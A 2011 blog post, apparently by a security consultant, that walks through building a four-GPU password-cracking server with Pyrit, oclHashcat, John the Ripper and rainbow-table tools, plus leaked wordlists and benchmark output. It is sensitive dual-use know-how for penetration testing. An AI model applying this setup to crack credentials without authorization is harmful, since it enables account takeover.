Tuesday, November 29, 2011

Setting up a Password Cracking Server

By Brad Antoniewicz.


We do a ton of password cracking for our clients. Sometimes its because we've
compromised one system and are looking for password reuse, sometimes its because we're pulling password complexity statistics to prove a point, and sometimes we're just trying to break a WPA-PSK. Nonetheless it helps to have a beefy system on your side. We've recently revamped our cracking server, here is some information about its specifications and configuration.

Hardware Specs

Motherboard
EVGA Z68 FTW 160-SB-E689-KR Extended ATX Intel Motherboard

CPU
Intel Core i7-2600K 3.4GHz LGA 1155 95W Quad-Core Desktop Processor

CORSAIR CAFA50 120mm CPU Cooler
Power Supply
CORSAIR Professional Series Gold AX1200 (CMPSU-1200AX) 1200W ATX12V v2.31 / EPS12V v2.92 SLI Certified 80 PLUS GOLD Certified Modular Active PFC Power Supply


Case
COOLER MASTER HAF 932 Advanced RC-932-KKN5-GP Black Steel ATX Full Tower Compucase Case with USB 3.0

Storage
2 - HITACHI Deskstar 3TB 3.5" SATA 6.0Gb/s Internal Hard Drive -Bare Drive

Memory
CORSAIR XMS3 16GB (4 x 4GB) 240-Pin DDR3 SDRAM DDR3 1333 Desktop Memory

GPU
4 - SAPPHIRE Radeon HD 6950 Dirt3 Edition 100312-3SR Video Card with Eyefinity




Total: $2,629.78 USD

Installation

Hardware Mods

Although there was a slot available on the motherboard, the 4th video card really didn't fit in with the others (Video card bullying), so we made the decision to mount it in a sort of "unique" way. I'm sure the air-flow/cooling Gods aren't happy with this decision, but it was the only option. Using a flexible PCIe extender, we mounted the card (cringe).

PCI Express Flexible Extender


You can see in the picture to the right, we dremel'ed out some holes in the back of the case to accommodate the connectors on the video card, and to provide some stability.


Hard drive/RAID Configuration

The 3TB drives required us to leverage Grub2 and GPT. Also it was important that we back up this system as best as we could in the case of hardware failure so we wanted to keep it simple with RAID1.

Intel FakeRAID via the BIOS - FAIL

Initially we wanted to use RAID 1 via the Intel RAID functionality built into the motherboard but it didn't seem like it was fully supported by dmraid or Ubuntu Server 10.04.3. For whatever reason it would only show up as a 801GB drive in parted and the installation wouldn't allow any partition to be created outside of that 801GB. So we abandoned it.

More fail info here: http://ubuntuforums.org/showthread.php?p=11477517

Software RAID (mdraid/mdadm) for the entire disk - FAIL

We wanted the drive to be fully redundant so we attempted to create a pretty large root partition and just a swap partition as linux_raid. The Ubuntu installation went fine with this attempt but the grub install failed. After a bunch of messing around we couldn't get grub properly installed. So we took a more traditional method of partitioning.

More fail info here: http://ubuntuforums.org/showthread.php?p=11477507

Software RAID (mdraid/mdadm) for root partition - WIN!

Here's how we ended up partitioning both (/dev/sda, /dev/sdb) drives. We did this before installation by booting to a LiveCD.

 root@ubuntu:~# parted /dev/sda mklabel gpt  
 root@ubuntu:~# parted -a cyl /dev/sda unit s mkpart grub 34 4130  
 root@ubuntu:~# parted -a cyl /dev/sdb set 1 bios_grub on  
 root@ubuntu:~# parted -a cyl /dev/sda unit s mkpart boot 4131 1052706  
 root@ubuntu:~# parted -a cyl /dev/sda unit s mkpart primary 1052707 5852144526  
 root@ubuntu:~# parted -a cyl /dev/sdb set 3 raid on  
 root@ubuntu:~# parted -a cyl /dev/sda unit s mkpart swap 5852144527s 5860533134s  
 root@ubuntu:~# parted /dev/sda unit compact print free  
 Model: ATA Hitachi HDS72303 (scsi)  
 Disk /dev/sda: 3001GB  
 Sector size (logical/physical): 512B/512B  
 Partition Table: gpt  
 Number Start  End   Size  File system   Name   Flags  
  1   17.4kB 2115kB 2098kB         grub   bios_grub  
  2   2115kB 539MB  537MB  ext2      boot  
  3   539MB  2996GB 2996GB xfs       primary raid  
  4   2996GB 3001GB 4295MB linux-swap(v1) swap  
Then within the installation, we configured RAID1 via mdraid for partition 3. Here's what the mdadm.conf looked like after the installation completed.
root@ubuntu:~# cat /etc/mdadm/mdadm.conf | grep ARRAY  
 ARRAY /dev/md0 level=raid1 metadata=1.0 num-devices=2 UUID=43dd56be:498abe6a:4421ece1:0659a71e name=0  
We selected package "Ubuntu Desktop" for GDM during the installation. This is important because later on the GPU cracking won't work without and X.org server running. Initially we had a startup script to just "xinit &" but that left a root shell for anyone with physical access to the system. Bad idea..

Once the installation finished, grub2 still didn't immediately boot, so we booted off of the LiveCD again and installed it manually:
root@ubuntu:~# mount -t xfs /dev/sda3 /mnt  
 root@ubuntu:~# cp /mnt/etc/mdadm/mdadm.conf /etc/mdadm/mdadm.conf  
 root@ubuntu:~# mdadm --assemble /dev/md0  
 mdadm: /dev/md0 has been started with 1 drive (out of 2).  
 root@ubuntu:~# umount /mnt  
 root@ubuntu:~# mount /dev/md0 /mnt  
 root@ubuntu:~# mount /dev/sda2 /mnt/boot  
 root@ubuntu:~# for i in /dev /dev/pts /proc /sys; do sudo mount -B $i /mnt$i; done  
 root@ubuntu:~# chroot /mnt  
 root@ubuntu:/# grub-mkdevicemap  
 root@ubuntu:/# grub-mkconfig -o /boot/grub/grub.cfg  
 Generating grub.cfg ...  
 Found linux image: /boot/vmlinuz-2.6.32-35-generic  
 Found initrd image: /boot/initrd.img-2.6.32-35-generic  
 Found memtest86+ image: /boot/memtest86+.bin  
 root@ubuntu:/# grub-install --no-floppy --recheck --modules='biosdisk ext2' /dev/sda  
 Installation finished. No error reported.  
 root@ubuntu:/# grub-install --no-floppy --recheck --modules='biosdisk ext2' /dev/sdb  
 Installation finished. No error reported.  
Then a reboot, and we're at a Ubuntu Gnome login prompt!

Installing OpenCL and AMD Drivers

Next we'll need to set up all those graphics cards. Since its AMD cards, we'll install the AMD OpenCL SDK and the AMD driver.
user@ubuntu:~$ mkdir AMD-APP-SDK-v2.5-lnx64
user@ubuntu:~$ cd AMD-APP-SDK-v2.5-lnx64/
user@ubuntu:~$ wget http://developer.amd.com/Downloads/AMD-APP-SDK-v2.5-lnx64.tgz
user@ubuntu:~$ tar -zxvf AMD-APP-SDK-v2.5-lnx64.tgz
user@ubuntu:~$ sudo ./Install-AMD-APP.sh
As a check, we can use the HelloCL test to make sure everything is working properly:

user@ubuntu:~$ cd /opt/AMDAPP/samples/opencl/bin/x86_64
user@ubuntu:/opt/AMDAPP/samples/opencl/bin/x86_64$ ./HelloCL
HelloCL!
Getting Platform Information
No protocol specified
Creating a context AMD platform
Getting device info
Loading and compiling CL source
Running CL program
Done
Passed!
Looks good, now lets install the drivers.
user@ubuntu:/opt/AMDAPP/samples/opencl/bin/x86_64$ cd ~/
user@ubuntu:~$ sudo apt-get install libssl-dev build-essential python-dev libpcap-dev
user@ubuntu:~$ export AMDAPPSDKROOT="/opt/AMDAPP"
user@ubuntu:~$ export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:"/opt/AMDAPP/lib/x86_64":"/opt/AMDAPP/lib/x86"
user@ubuntu:~$ export ATISTREAMSDKROOT=$AMDAPPSDKROOT
user@ubuntu:~$ chmod +x ati-driver-installer-11-11-x86.x86_64.run
user@ubuntu:~$ sudo ./ati-driver-installer-11-11-x86.x86_64.run

Installing Pyrit with OpenCL support

Pyrit is pretty awesome, but it doesn't take into account the latest AMD SDK. If you've been following the installation thus far, you should be ok. However you'll see that we'll have to make a couple changes in order to get everything working ok.
user@ubuntu:~$ wget http://pyrit.googlecode.com/files/cpyrit-opencl-0.4.0.tar.gz
user@ubuntu:~$ tar -zxvf cpyrit-opencl-0.4.0.tar.gz
user@ubuntu:~$ cd cpyrit-opencl-0.4.0/
user@ubuntu:~/cpyrit-opencl-0.4.0$ vi setup.py
edit setup.py, create a new line after line 55 and add:
'/opt/AMDAPP/include', \
Once pyrit has all of the right includes, you can start the compilation/installation.
user@ubuntu:~/cpyrit-opencl-0.4.0$ python setup.py build
user@ubuntu:~/cpyrit-opencl-0.4.0$ sudo python setup.py install
user@ubuntu:~/cpyrit-opencl-0.4.0$ cd ..
user@ubuntu:~$ wget http://pyrit.googlecode.com/files/pyrit-0.4.0.tar.gz
user@ubuntu:~$ tar -zxvf pyrit-0.4.0.tar.gz
user@ubuntu:~$ cd pyrit-0.4.0
user@ubuntu:~/pyrit-0.4.0$ python setup.py build
user@ubuntu:~/pyrit-0.4.0$ sudo python setup.py install
user@ubuntu:~/pyrit-0.4.0$ sudo pyrit list_cores
If you're using one video card, you should be all ok, however since we have 4, we have to use the aticonfig utility to enable them all:
user@ubuntu:~$ sudo service gdm stop
user@ubuntu:~$ sudo aticonfig --adapter=all --initial
user@ubuntu:~$ sudo service gdm start
We ran some quick pyrit benchmarks, things are looking pretty good:
user@ubuntu:~$ sudo pyrit benchmark
Pyrit 0.4.0 (C) 2008-2011 Lukas Lueg http://pyrit.googlecode.com
This code is distributed under the GNU General Public License v3+

Running benchmark (151933.5 PMKs/s)... /

Computed 151933.49 PMKs/s total.
#1: 'OpenCL-Device 'Cayman'': 41098.6 PMKs/s (RTT 2.7)
#2: 'OpenCL-Device 'Cayman'': 38496.3 PMKs/s (RTT 2.6)
#3: 'OpenCL-Device 'Cayman'': 42851.1 PMKs/s (RTT 2.6)
#4: 'OpenCL-Device 'Cayman'': 43023.6 PMKs/s (RTT 2.7)
#5: 'CPU-Core (SSE2)': 635.3 PMKs/s (RTT 3.5)
#6: 'CPU-Core (SSE2)': 588.7 PMKs/s (RTT 3.3)
#7: 'CPU-Core (SSE2)': 879.4 PMKs/s (RTT 2.8)
#8: 'CPU-Core (SSE2)': 961.1 PMKs/s (RTT 2.8)


Installing pyrit with CAL++ support

While 151933.5 PMKs/s is freaking awesome, we know that this isn't as fast as it *should* be. So instead of using the stable version of pyrit (0.4.0) with OpenCL, we decided to go with the SVN version of pyrit (0.4.1-dev) using CAL++.

The first thing we'll have to do is uninstall pyrit (trust me, its worth it):
user@ubuntu:~$ cd pyrit-0.4.0/
user@ubuntu:~/pyrit-0.4.0$ sudo python setup.py install --record files.txt; sudo rm $(cat files.txt)
user@ubuntu:~pyrit-0.4.0$ cd ../cpyrit-opencl-0.4.0/
user@ubuntu:~/cpyrit-opencl-0.4.0$ sudo python setup.py install --record files.txt; sudo rm $(cat files.txt)
Now download CAL++ (http://sourceforge.net/projects/calpp/) and install it:
user@ubuntu:~$ sudo apt-get install libboost-all-dev cmake 
user@ubuntu:~$ tar -zxvf calpp-0.90.tar.gz
user@ubuntu:~$ cd calpp-0.90
CAL++ needs a couple of changes in order to properly find the AMD SDK libraries, so edit CMakeLists.txt and comment out (add a '#' to the beginning) these lines:
FIND_LIBRARY( LIB_ATICALCL aticalcl PATHS "$ENV{ATISTREAMSDKROOT}/lib" )
FIND_LIBRARY( LIB_ATICALRT aticalrt PATHS "$ENV{ATISTREAMSDKROOT}/lib" )
FIND_PATH( LIB_ATICAL_INCLUDE NAMES cal.h calcl.h PATHS "$ENV{ATISTREAMSDKROOT}/include" )
Add these:
FIND_LIBRARY( LIB_ATICALCL aticalcl PATHS "/opt/AMDAPP/lib" )
FIND_LIBRARY( LIB_ATICALRT aticalrt PATHS "/opt/AMDAPP/lib" )
FIND_PATH( LIB_ATICAL_INCLUDE NAMES cal.h calcl.h PATHS "/opt/AMDAPP/include/CAL" )
Now we build and then install it:
user@ubuntu:~/calpp-0.90$ sudo make install
With CAL++ installed, you can download the development branch of pyrit and get the rest of the installation done.
user@ubuntu:~$ sudo apt-get install subversion
user@ubuntu:~$ svn checkout http://pyrit.googlecode.com/svn/trunk/ pyrit_svn
user@ubuntu:~$ cd pyrit_svn/cpyrit_calpp/
Did I mention this was a development version? Ya, well that means you'll have to make a couple changes:

edit setup.py line 28 to read:
VERSION = '0.4.1-dev'
edit setup.py line 35 to read:
CALPP_INC_DIR = '/opt/AMDAPP'
edit setup.py line 41 to read:
CALPP_INC_DIRS.append(os.path.join(CALPP_INC_DIR, 'include/CAL'))
Alright, we're ready for the build and install:
user@ubuntu:~/pyrit_svn/cpyrit_calpp$ python setup.py build
user@ubuntu:~/pyrit_svn/cpyrit_calpp$ sudo python setup.py install
user@ubuntu:~/pyrit_svn/cpyrit_calpp$ cd ../pyrit/
user@ubuntu:~/pyrit_svn/pyrit$ python setup.py build
user@ubuntu:~/pyrit_svn/pyritsudo python setup.py install
Scroll down to see the results below in the benchmarks section. We get an extra 20,000 PMK/s!

oclHashcat

The oclHashcat install is extremely easy. Just decompress.

user@ubuntu:~$ sudo apt-get install p7zip
user@ubuntu:~$ p7zip -d oclHashcat-0.26.7z

john

user@ubuntu:~$ wget http://www.openwall.com/john/g/john-1.7.8-jumbo-8.tar.bz2
user@ubuntu:~$ tar -jxvf john-1.7.8-jumbo-8.tar.bz2
user@ubuntu:~$ cd john-1.7.8-jumbo-8/src/
user@ubuntu:~/john-1.7.8-jumbo-8/src$ make linux-x86-64

Next, we downloaded KoreLogic's Defcon 10 rulesets and added them to our john.conf
user@ubuntu:~/john-1.7.8-jumbo-8/src$ cd ../run
user@ubuntu:~/john-1.7.8-jumbo-8/run$ wget http://contest-2010.korelogic.com/rules.txt
user@ubuntu:~/john-1.7.8-jumbo-8/run$ cat rules.txt >> john.conf

rcracki

Newer rainbow tables are .RTI files, meaning they're indexed rainbow tables, which are supposed to be faster then the normal ones. Since we have a handful of those, we'll need to install rcracki.

user@ubuntu:~$ wget http://www.freerainbowtables.com/download/rcracki_mt_0.6.6_src.7z
user@ubuntu:~$ p7zip -d rcracki_mt_0.6.6_src.7z
user@ubuntu:~$ cd rcracki_mt_0.6.6_src/

Edit the Makefile, and change the OPTIMIZATION variable to read:

OPTIMIZATION = -O3 -mtune=native

Now we can compile

user@ubuntu:~/rcracki_mt_0.6.6_src$ make
user@ubuntu:~/rcracki_mt_0.6.6_src$ sudo make install
user@ubuntu:~/rcracki_mt_0.6.6_src$ cd ..
user@ubuntu:~$ sudo mv rcracki_mt_0.6.6_src /cracking/bin/
user@ubuntu:~$ cd /cracking/bin/rcracki_mt_0.6.6_src
user@ubuntu:~/rcracki_mt_0.6.6_src$ sudo mkdir src
user@ubuntu:~/rcracki_mt_0.6.6_src$ sudo mv BaseRTReader.* Cha* COPYING CrackEngine.* fast_md* global.h Hash* INSTALLING.txt lm2ntlm.* Makefile MemoryPool.* Public.* RainbowCrack.* rcrackiThread.* README.txt RT* sha1.* TODO src/
user@ubuntu:~/rcracki_mt_0.6.6_src$ sudo chmod o+w rcracki.*


rcrack

To support the older .RT rainbow tables, we can use standard rcrack. Version 1.5 comes pre-compiled, so the installation is really just a download and decompress.
user@ubuntu:~$ wget http://project-rainbowcrack.com/rainbowcrack-1.5-linux64.zip
user@ubuntu:~$ unzip rainbowcrack-1.5-linux64.zip

Downloads

Rainbow Tables

What would a password cracking server, without a ton of Rainbow Tables. Luckily we have an entire of army of geeks at our disposal, so we didn't have to spend any time downloading. We copied over the following Rainbow Tables:
fastlm_alpha-numeric#1-7_0
lm_all-space_1-7
lm_alpha_1-7
lm_alpha-numeric_1-7
lm_alpha-numeric-symbol32-space_1-7
ntlm-alpha-numeric-space_1-8
ntlm_alpha-space_1-9
ntlm_hybrid(loweralpha#6-6,numeric#1-3)
ntlm_hybrid(loweralpha#7-7,numeric#1-3)
ntlm_loweralpha-numeric-space_1-8
ntlm_loweralpha-numeric-symbol32-space_1-7_0
ntlm_loweralpha-space_1-9
ntlm_mixalpha-numeric_1-8
ntlm_mixalpha-numeric-all-space_1-6
ntlm_mixalpha-numeric-space_1-7_0
ntlm_numeric_1-12
Ophcrack_Tables-LM_Fast_Free
Ophcrack_Tables-NTLM_Free
sha1_loweralpha-numeric-space_1-8
wpa-h1kari_renderman
wpa-Offensive WPA Tables

Wordlists

Wordlists are one of those things that you can never seem to have enough of. We pulled together some popular ones, and I'm sure we'll be getting a lot of recommendations for others once the server reaches production.

user@ubuntu:/cracking/wordlists$ wget http://download.openwall.net/pub/wordlists/all.gz
user@ubuntu:/cracking/wordlists$ wget http://downloads.skullsecurity.org/passwords/rockyou.txt.bz2
user@ubuntu:/cracking/wordlists$ wget http://downloads.skullsecurity.org/passwords/500-worst-passwords.txt.bz2
user@ubuntu:/cracking/wordlists$ wget http://downloads.skullsecurity.org/passwords/twitter-banned.txt.bz2
user@ubuntu:/cracking/wordlists$ wget http://downloads.skullsecurity.org/passwords/english.txt.bz2
user@ubuntu:/cracking/wordlists$ bunzip2 *.bz2
user@ubuntu:/cracking/wordlists$ gunzip all.gz

Supporting a Multi-user environment

GPU Cracking

Since this system will be accessible by a bunch of people, I wanted to make sure no one stepped on eachother's toes. I wrote this simple wrapper so that if anyone tried to used oclHashcat or pyrit, while someone else is, they'd be told not to.

user@ubuntu:~$ cat /cracking/bin/gpu-crack
#!/bin/bash

#
# gpu-crack - Simple GPU cracker wrapper for multi-user
#             environments
#
# by Brad Antoniewicz
#

TMPFILE="/tmp/check.tmp"
ver="0.1"

SUDO_EXEC=/usr/bin/sudo
PYRIT_EXEC=/usr/local/bin/pyrit.real
HASHCAT_EXEC=/cracking/bin/oclhash/oclHashcat64.bin

isRunning=0;


echo -e "\n$0 v$ver"
echo "by brad a."
echo -e "-------------------------------------------------\n"


help() {
        echo "Usage:"
        echo -e "\t$0 [pyrit|hashcat] [options]\n"
        echo "Define what program you want to crack with (pyrit or hashcat)"
        echo "then provide the standard command line options that the cracker"
        echo "supports."
}

checkProc() {
        ps ax -o pid,user,etime,command | grep $1 | grep -v grep | grep -v $0 | sed -e 's/^ //' > $TMPFILE
        NUMPROC=`wc -l $TMPFILE | cut -d" " -f 1`
        if [[ $NUMPROC != 0 ]]; then
                echo -e "[!] Found $NUMPROC instance of $1 running\n"

                for ((i=1; i<=$NUMPROC; i++))
                do
#                        awk NR==$i "$TMPFILE"
                        PID=`awk NR==$i "$TMPFILE" | cut -d" " -f 1`
                        echo -e "\tPID: $PID"
                        echo -e "\tUser: `awk NR==$i "$TMPFILE" | cut -d" " -f 2`"
                        echo -e "\tRunning for: `awk NR==$i "$TMPFILE" | awk '{print $3}'`"
                        echo -e "\n"
                        isRunning=1;
                done
        else
                echo -e "[-] No instances of $1 found"
        fi
}

launchProc() {
        count=0;
        for x in "$@"
        do
                if [ $count != 0 ]; then
                        cmdlineArgs=$cmdlineArgs" "$x
                fi
                let count++
        done

        echo "[+] Launching $1 with the following options"
        echo -e "\t $cmdlineArgs"

        if [[ $1 == "pyrit" ]]; then
                echo "[+] Running Pyrit"
                $SUDO_EXEC $PYRIT_EXEC $cmdlineArgs
        elif [[ $1 == "hashcat" ]]; then
                echo "[+] Running oclHashcat"
                $SUDO_EXEC $HASHCAT_EXEC $cmdlineArgs
        fi
}

if  [[ $# -ge 2 ]]  && [[  $1 == "pyrit" || $1 == "hashcat" ]]; then
        echo "[+] Checking for conflicting processes"
        checkProc "pyrit"
        checkProc "oclHash"

        if [ $isRunning == 0 ]; then
                launchProc $@
        else
                echo "[!!] Found conflicting process, contact owner and make it stop!"
        fi
else
        help
fi


General Access

Since rcrack, rcracki, and john sort of need to be run from their program directories, I created a couple of aliases to get the user into the right spot with ease. Also, we put most of these installs into a central location (/cracking/bin) so that we can maintain them easy (no real packages for these tools).
user@ubuntu:~$ cat /etc/profile.d/pwserver.sh
#
# Set up all of the paths, directories, etc.. for password cracking
# by brad a.
#
alias john='cd /cracking/bin/john-bin; echo Changing directory - Please run john from here with ./john'
alias rcrack='cd /cracking/bin/rainbowcrack; echo -e "Changing directory - Please run rcrack from here with:\n./rcrack /path/to/tables/*.rt -f /path/to/pwdump"'
alias rcracki='cd /cracking/bin/rcracki_mt; echo -e "Changing directory - Please run rcracki from here with:\n./rcracki -f /path/to/pwdump /path/to/tables/"'

PATH=$PATH:/cracking/bin
export PATH


Changing MOTD

What would be a Foundstone server without a fun MOTD. I've omitted the actual welcome message (stored in /etc/motd.tail) as it might be a little bit offensive :), but the stats script that gets launched on login is below.
user@ubuntu:~$ cd /etc/update-motd.d
user@ubuntu:/etc/update-motd.d$ sudo chmod -x *
user@ubuntu:/etc/update-motd.d$ sudo touch 10-pwserver
user@ubuntu:/etc/update-motd.d$ sudo chmod +x 10-pwserver
user@ubuntu:/etc/update-motd.d$ cat 10-pwserver
#!/bin/bash

#
#
# by Brad Antoniewicz
#
[ -f /etc/motd.tail ] && cat /etc/motd.tail || true


TMPFILE="/tmp/check.tmp"
ver="0.1"

isRunning=0;

processes="oclHashcat64.bin hashcat pyrit oclHash john rcrack rcracki rcracki_mt"


checkProc() {
        ps ax -o pid,user,etime,command | grep -w $1 | grep -v grep | grep -v $0 | sed -e 's/^ //' > $TMPFILE
        NUMPROC=`wc -l $TMPFILE | cut -d" " -f 1`
        if [[ $NUMPROC != 0 ]]; then
                for ((i=1; i<=$NUMPROC; i++))
                do
#                        awk NR==$i "$TMPFILE"
                        PID=`awk NR==$i "$TMPFILE" | cut -d" " -f 1`
                        echo -e "\tUser: `awk NR==$i "$TMPFILE" | cut -d" " -f 2` - Process: $1 -  PID: $PID - Running For:  `awk NR==$i "$TMPFILE" | awk '{print $3}'`"
                        isRunning=1;
                done
        fi
}

        echo Processes currently running
        for i in $processes
        do
                checkProc $i
        done

        if [ $isRunning == 0 ]; then
                echo -e "\tNone!"
        fi

Benchmarks



pyrit

Our pyrit benchmarks are decently respectable:
user@ubuntu:~$ gpu-crack pyrit benchmark

/usr/local/bin/gpu-crack v0.1by brad a.
-------------------------------------------------

[+] Checking for conflicting processes
[-] No instances of pyrit found
[-] No instances of oclHash found
[+] Launching pyrit with the following options
          benchmark
[+] Running Pyrit
Pyrit 0.4.1-dev (svn r308) (C) 2008-2011 Lukas Lueg http://pyrit.googlecode.com
This code is distributed under the GNU General Public License v3+

Running benchmark (172644.8 PMKs/s)... /

Computed 172644.84 PMKs/s total.
#1: 'CAL++ Device #1 'AMD CAYMAN'': 51245.4 PMKs/s (RTT 1.0)
#2: 'CAL++ Device #2 'AMD CAYMAN'': 47993.0 PMKs/s (RTT 1.0)
#3: 'CAL++ Device #3 'AMD CAYMAN'': 51163.7 PMKs/s (RTT 1.0)
#4: 'CAL++ Device #4 'AMD CAYMAN'': 52829.2 PMKs/s (RTT 0.9)
#5: 'CPU-Core (SSE2/AES)': 713.9 PMKs/s (RTT 2.9)
#6: 'CPU-Core (SSE2/AES)': 736.3 PMKs/s (RTT 3.0)
#7: 'CPU-Core (SSE2/AES)': 821.7 PMKs/s (RTT 2.9)
#8: 'CPU-Core (SSE2/AES)': 763.8 PMKs/s (RTT 3.0)
:~$


oclHashcat

oclHashcat looks good as well. One thing that's caught my attention is that HW Monitors 2-4 show 0% GPU. I'm not sure how to take that, but it's something I'll definitely need to investigate.
 
user@ubuntu:~$ sudo ./oclExample.sh
oclHashcat v0.26 by atom starting...

Digests: 6494 entries, 6494 unique
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes
Platform: AMD compatible platform found
Watchdog: Temperature limit set to 90c
Device #1: Cayman, 1024MB, 0Mhz, 22MCU
Device #2: Cayman, 1024MB, 0Mhz, 22MCU
Device #3: Cayman, 1024MB, 0Mhz, 22MCU
Device #4: Cayman, 1024MB, 0Mhz, 22MCU
NOTE: gpu-accel auto-adjusted to: 16
Device #1: Kernel ./kernels/4098/m0000.Cayman.64.kernel
Device #2: Kernel ./kernels/4098/m0000.Cayman.64.kernel
Device #3: Kernel ./kernels/4098/m0000.Cayman.64.kernel
Device #4: Kernel ./kernels/4098/m0000.Cayman.64.kernel
42cceb8a0d3ca82b8fb6831f38e52a11:mega00000000
7becb9424f38abff581f6f2a82ff436a:sail00

--- CUT ----

c7d956020b614de2dd7772d22cdd459f:palytandra
[s]tatus [p]ause [r]esume [q]uit =>
Status.......: Exhausted
Hash.Type....: MD5
Mode.Left....: Mask '?l?l?l?l' (456976)
Mode.Right...: Dict 'example.dict' (129988)
Speed.GPU*...: 1761.3M/s
Recovered....: 1359/6494 Digests, 0/1 Salts
Progress.....: 59401396288/59401396288 (100.00%)
Running......: 18 secs
Estimated....: 0 secs
HW.Monitor.#1: 74% GPU, 71c Temp
HW.Monitor.#2:  0% GPU, 53c Temp
HW.Monitor.#3:  0% GPU, 43c Temp
HW.Monitor.#4:  0% GPU, 42c Temp

Started: Tue Nov 22 20:25:38 2011
Stopped: Tue Nov 22 20:25:56 2011

john

john only uses the CPUs, so no spectacular GPU stats here, but still some solid results.

john-1.7.8-jumbo-7/run$ ./john --test=30
Benchmarking: Traditional DES [128/128 BS SSE2-16]... DONE
Many salts: 4670K c/s real, 4685K c/s virtual
Only one salt: 3908K c/s real, 3920K c/s virtual

Benchmarking: BSDI DES (x725) [128/128 BS SSE2-16]... DONE
Many salts: 168806 c/s real, 169314 c/s virtual
Only one salt: 163686 c/s real, 164178 c/s virtual

Benchmarking: FreeBSD MD5 [8x]... DONE
Raw: 9768 c/s real, 9798 c/s virtual

Benchmarking: OpenBSD Blowfish (x32) [32/64 X2]... DONE
Raw: 870 c/s real, 873 c/s virtual

Benchmarking: Kerberos AFS DES [48/64 4K]... DONE
Short: 478762 c/s real, 480203 c/s virtual
Long: 1582K c/s real, 1587K c/s virtual

Benchmarking: LM DES [128/128 BS SSE2-16]... DONE
Raw: 25261K c/s real, 25337K c/s virtual

Benchmarking: Eggdrop [blowfish]... DONE
Raw: 29104 c/s real, 29191 c/s virtual

Benchmarking: DIGEST-MD5 [DIGEST-MD5 authentication]... DONE
Many salts: 1870K c/s real, 1876K c/s virtual
Only one salt: 1871K c/s real, 1876K c/s virtual

Benchmarking: More Secure Internet Password [RSA MD defined by BSAFE 1.x - Lotus v6]... DONE
Many salts: 101443 c/s real, 101748 c/s virtual
Only one salt: 60196 c/s real, 60378 c/s virtual

Benchmarking: EPiServer SID Hashes [SHA-1]... DONE
Many salts: 5542K c/s real, 5560K c/s virtual
Only one salt: 5257K c/s real, 5273K c/s virtual

Benchmarking: HTTP Digest access authentication [HDAA-MD5]... DONE
Many salts: 1988K c/s real, 1995K c/s virtual
Only one salt: 1940K c/s real, 1945K c/s virtual

Benchmarking: IPB2 MD5 [Invision Power Board 2.x salted MD5]... DONE
Many salts: 3988K c/s real, 4000K c/s virtual
Only one salt: 2485K c/s real, 2492K c/s virtual

Benchmarking: Kerberos v4 TGT [krb4 DES]... DONE
Raw: 3601K c/s real, 3612K c/s virtual

Benchmarking: Kerberos v5 TGT [krb5 3DES (des3-cbc-sha1)]... DONE
Raw: 63938 c/s real, 64130 c/s virtual

Benchmarking: MSCHAPv2 C/R MD4 DES [mschapv2]... DONE
Many salts: 3654K c/s real, 3666K c/s virtual
Only one salt: 2632K c/s real, 2640K c/s virtual

Benchmarking: MYSQL_fast [mysql-fast]... DONE
Raw: 42879K c/s real, 43009K c/s virtual

Benchmarking: MYSQL [mysql]... DONE
Raw: 5170K c/s real, 5185K c/s virtual

Benchmarking: LM C/R DES [netlm]... DONE
Many salts: 3621K c/s real, 3632K c/s virtual
Only one salt: 1216K c/s real, 1220K c/s virtual

Benchmarking: LMv2 C/R MD4 HMAC-MD5 [netlmv2]... DONE
Many salts: 1124K c/s real, 1127K c/s virtual
Only one salt: 908930 c/s real, 911665 c/s virtual

Benchmarking: NTLMv1 C/R MD4 DES [ESS MD5] [netntlm]... DONE
Many salts: 3651K c/s real, 3664K c/s virtual
Only one salt: 2652K c/s real, 2660K c/s virtual

Benchmarking: NTLMv2 C/R MD4 HMAC-MD5 [netntlmv2]... DONE
Many salts: 985779 c/s real, 989076 c/s virtual
Only one salt: 821367 c/s real, 823563 c/s virtual

Benchmarking: HalfLM C/R DES [nethalflm]... DONE
Many salts: 3622K c/s real, 3633K c/s virtual
Only one salt: 1825K c/s real, 1831K c/s virtual

Benchmarking: Netscape LDAP SSHA [salted SHA-1]... DONE
Many salts: 5197K c/s real, 5215K c/s virtual
Only one salt: 4738K c/s real, 4752K c/s virtual

Benchmarking: Netscape LDAP SHA [SHA-1]... DONE
Raw: 5029K c/s real, 5046K c/s virtual

Benchmarking: Netscreen MD5 [NS MD5]... DONE
Raw: 6159K c/s real, 6180K c/s virtual

Benchmarking: NT MD4 [128/128 X2 SSE2-16]... DONE
Raw: 47690K c/s real, 47849K c/s virtual

Benchmarking: OpenLDAP SSHA [salted SHA-1]... DONE
Many salts: 5281K c/s real, 5299K c/s virtual
Only one salt: 4883K c/s real, 4896K c/s virtual

Benchmarking: PHPS -- md5(md5($pass).$salt) [SSE2 16x4x2 (intr)]... DONE
Many salts: 9277K c/s real, 9305K c/s virtual
Only one salt: 3937K c/s real, 3949K c/s virtual

Benchmarking: Post.Office MD5 [STD]... DONE
Many salts: 4450K c/s real, 4463K c/s virtual
Only one salt: 4135K c/s real, 4146K c/s virtual

Benchmarking: Mac OS X 10.4 - 10.6 salted SHA-1 [32/64]... DONE
Many salts: 5886K c/s real, 5903K c/s virtual
Only one salt: 5575K c/s real, 5591K c/s virtual

Benchmarking: HMAC MD5 [hmac-md5]... DONE
Raw: 2043K c/s real, 2049K c/s virtual

Benchmarking: Lotus5 [Lotus v5 Proprietary]... DONE
Raw: 202395 c/s real, 203004 c/s virtual

Benchmarking: Generic salted MD4 [32/64]... DONE
Many salts: 9250K c/s real, 9278K c/s virtual
Only one salt: 8647K c/s real, 8673K c/s virtual

Benchmarking: MediaWiki -- md5($s.'-'.md5($p)) [SSE2 16x4x2 (intr)]... DONE
Many salts: 8465K c/s real, 8490K c/s virtual
Only one salt: 3815K c/s real, 3827K c/s virtual

Benchmarking: M$ Cache Hash [Generic 1x]... DONE
Many salts: 21450K c/s real, 21522K c/s virtual
Only one salt: 8711K c/s real, 8734K c/s virtual

Benchmarking: M$ Cache Hash 2 (DCC2) [SSE2-para 8x]... DONE
Raw: 402 c/s real, 403 c/s virtual

Benchmarking: MS Kerberos 5 AS-REQ Pre-Auth [mskrb5]... DONE
Many salts: 1153K c/s real, 1157K c/s virtual
Only one salt: 634491 c/s real, 636400 c/s virtual

Benchmarking: MS-SQL [mssql]... DONE
Many salts: 5505K c/s real, 5523K c/s virtual
Only one salt: 4844K c/s real, 4858K c/s virtual

Benchmarking: MS-SQL05 [ms-sql05]... DONE
